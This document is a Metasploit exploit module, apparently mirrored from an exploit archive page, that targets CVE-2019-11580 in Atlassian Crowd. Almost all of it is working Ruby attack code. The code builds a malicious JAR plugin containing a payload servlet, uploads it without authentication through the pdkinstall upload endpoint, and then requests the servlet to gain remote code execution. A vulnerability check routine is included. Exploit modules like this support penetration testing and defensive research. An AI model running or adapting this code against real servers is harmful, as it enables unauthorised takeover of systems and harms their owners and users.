Share
## https://sploitus.com/exploit?id=PACKETSTORM:163810
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE',  
'Description' => %q{  
This module can be used to upload a plugin on Atlassian Cloud via  
the pdkinstall development plugin as an unauthenticated attacker.  
The payload is uploaded as a JAR archive containing a servlet using  
a POST request to /crowd/admin/uploadplugin.action. The check command will  
check that the /crowd/admin/uploadplugin.action page exists and that it  
responds appropriately to determine if the target is vulnerable or not.  
},  
'Author' => [  
'Paul', # Vulnerability discovery  
'Corben Leo', # PoC and Vulnerability Writeup. @hacker_ on Twitter.  
'Grant Willcox' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-11580'],  
['URL', 'https://jira.atlassian.com/browse/CWD-5388'],  
['URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html'],  
['URL', 'https://www.corben.io/atlassian-crowd-rce/']  
],  
'Platform' => %w[java],  
'Arch' => ARCH_JAVA,  
'DefaultOptions' => {  
'HttpClientTimeout' => 25 # Allow a bit more time for the file upload to complete, just in case things are delayed, before timing out.  
},  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'Targets' =>  
[  
[  
'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
}  
]  
],  
'DisclosureDate' => '2019-05-22'  
)  
)  
  
register_options(  
[  
Opt::RPORT(8095),  
OptString.new('TARGETURI', [true, 'The base URI to Atlassian Crowd', '/crowd/']),  
  
]  
)  
end  
  
def upload_plugin(content)  
data = Rex::MIME::Message.new  
data.add_part(content, nil, 'binary', "form-data; name=\"file_#{Rex::Text.rand_text_alpha(8..12)}\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.jar\"")  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/admin/uploadplugin.action'),  
'method' => 'POST',  
'data' => data.to_s,  
'ctype' => "multipart/mixed; boundary=#{data.bound}"  
}, datastore['HttpClientTimeout'])  
end  
  
def generate_plugin_jar  
name = Rex::Text.rand_text_alpha(8..12)  
servlet_name = Rex::Text.rand_text_alpha(8..12)  
atlassian_plugin_xml = %(  
<atlassian-plugin key="metasploit.PayloadServlet" name="#{name}" plugins-version="2" class="metasploit.PayloadServlet">  
<plugin-info>  
<param name="atlassian-data-center-compatible">true</param>  
<description></description>  
<version>1.0.0</version>  
</plugin-info>  
  
<servlet name="#{servlet_name}" key="#{servlet_name}" class="metasploit.PayloadServlet">  
<url-pattern>/#{name}</url-pattern>  
<description>#{Faker::App.name}</description>  
</servlet>  
</atlassian-plugin>  
)  
  
# Generates .jar file for upload  
zip = payload.encoded_jar  
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)  
  
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')  
zip.add_file('/metasploit/PayloadServlet.class', servlet)  
  
contents = zip.pack  
[contents, name]  
end  
  
def check  
print_status('Sending a test request to try installing an invalid plugin to see if the server is vulnerable...')  
res = upload_plugin(Rex::Text.rand_text_alpha(45..120))  
if res.nil?  
CheckCode::Unknown('Was not able to connect to the target!')  
elsif (res.body =~ /Unable to install plugin/) && (res.code == 400)  
CheckCode::Vulnerable("Target responded that it couldn't install an invalid plugin, indicating it's vulnerable!")  
else  
CheckCode::Safe("Target didn't respond that it couldn't install an invalid plugin, so it's not vulnerable!")  
end  
end  
  
def exploit  
print_status('Generating a malicious JAR plugin...')  
content, plugin_name = generate_plugin_jar  
print_status('Uploading the malicious JAR plugin...')  
upload_plugin(content)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "/plugins/servlet/#{plugin_name}"),  
'method' => 'GET'  
}, datastore['HttpClientTimeout'])  
end  
end